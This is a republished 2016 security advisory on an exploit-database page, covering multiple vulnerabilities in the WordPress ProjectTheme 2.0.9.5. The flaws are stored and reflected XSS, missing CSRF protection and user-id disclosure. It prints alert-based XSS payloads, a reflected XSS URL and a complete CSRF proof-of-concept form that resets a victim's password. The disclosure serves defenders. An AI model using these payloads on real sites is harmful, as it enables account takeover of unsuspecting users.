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vendor:
Project Theme
by:
Tim Herres
7,5
CVSS
HIGH
Stored Cross Site Scripting, Reflected Cross Site Scripting, CSRF, Information Disclosure
NA yet
CWE
Product Name: Project Theme
Affected Version From: 2.0.9.5
Affected Version To: 2.0.9.5
Patch Exists: YES
Related CWE: NA yet
CPE: NA
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: NA
2016

WordPress ProjectTheme Multiple Vulnerabilities

During an internal code review multiple vulnerabilities were identified. The whole application misses input validation and output encoding. This means user supplied input is inserted in a unsafe way. This could allow a remote attacker to easily compromise user accounts. For example, an authenticated user sends a private message to another user. When the attacker injects JavaScript Code, it will automatically call the CSRF Proc below. The only necessary information is the user id, which can be identified easily. If the other user opens the private message menu, the JavaScript code gets executed and the Password will be changed. It is not necessary to open the message. Now the attacker can access the account using the new password.

Mitigation:

Update to the latest version.
Source

Exploit-DB raw data:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256


=== LSE Leading Security Experts GmbH - Security Advisory 2016-01-01 ===

Wordpress ProjectTheme Multiple Vulnerabilities
- - ------------------------------------------------------------

Affected Version
================
Project Theme: 2.0.9.5

Problem Overview
================
Technical Risk: high
Likelihood of Exploitation: low
Vendor: http://sitemile.com/
Credits: LSE Leading Security Experts GmbH employee Tim Herres
Advisory: https://www.lsexperts.de/advisories/lse-2016-01-01.txt
Advisory Status: public
CVE-Number: [NA yet]

Problem Impact
==============
During an internal code review multiple vulnerabilities were identified.
The whole application misses input validation and output encoding. This means user supplied input is inserted in a unsafe way.
This could allow a remote attacker to easily compromise user accounts. 

Example:
An authenticated user sends a private message to another user. 
When the attacker injects JavaScript Code, it will automatically call the CSRF Proc below.
The only necessary information is the user id, which can be identified easily, see below.
If the other user opens the private message menu, the JavaScript code gets executed and the Password will be changed. It is not necessary to open the message.
Now the attacker can access the account using the new password.

Problem Description
===================
The following findings are only examples, the whole application should be reviewed for similar vulnerabilities.

#Stored Cross Site Scripting:
Creating a new project http://[URL]/post-new/? in the project title and description field.
Insert JavaScript code inside the project message board:
POST /?get_message_board=34 HTTP/1.1
sumbit_message=1&my_message=TestMessagBoard<script>alert("stored_xss")</script>
Also in the private message in the subject or in the message field. The payload in the Subject will be executed, if the user opens the private message list.

#Reflected Cross Site Scripting:
http://[IP]/advanced-search/?term=asdf&%22%3E%3Cscript%3Ealert%2811%29%3C%2fscript%3E

# No protection against Cross Site Request Forgery Attacks
There is no Cross Site Request Forgery protection.
Also the user password can be changed without knowledge of the current password.
A possible CSRF attack form, which will change the users password to "test":
<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://[ip]/my-account/personal-information/", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarywXBZovhmb3VnFJdz");
        xhr.setRequestHeader("Accept-Language", "de-DE,de;q=0.8,en-US;q=0.6,en;q=0.4");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"project_location_cat\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"user_city\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"user_description\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"password\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"reppassword\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"avatar\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"save-info\"\r\n" + 
          "\r\n" + 
          "Save\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"user_id\"\r\n" + 
          "\r\n" + 
          "2\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

#Getting user id
In a published project there is a button contact project owner with the corresponding UID --> url: http://[IP]/my-account/private-messages/?rdr=&pg=send&uid=1&pid=34.
Also a mouseover in the user profile (Feedback) will reveal the userid.


Temporary Workaround and Fix
============================
No fix

History
=======
2015-12-20  Problem discovery during code review
2016-01-12  Vendor contacted
2016-01-12  Vendor response (check in progress)
2016-01-26  Vendor contacted (asked for status update)
2016-01-26  Vendor reponse (check in progress)
2016-02-05  Vendor contacted (advisory will be released in 30 days)
2016-03-07  Vendor contacted (asked for last status update)
2016-03-07  Vendor response (vulnerabilities should be fixed in the last update 2.0.9.7 on 1st march 2016, not verified by the LSE)
2016-03-08  Advisory release
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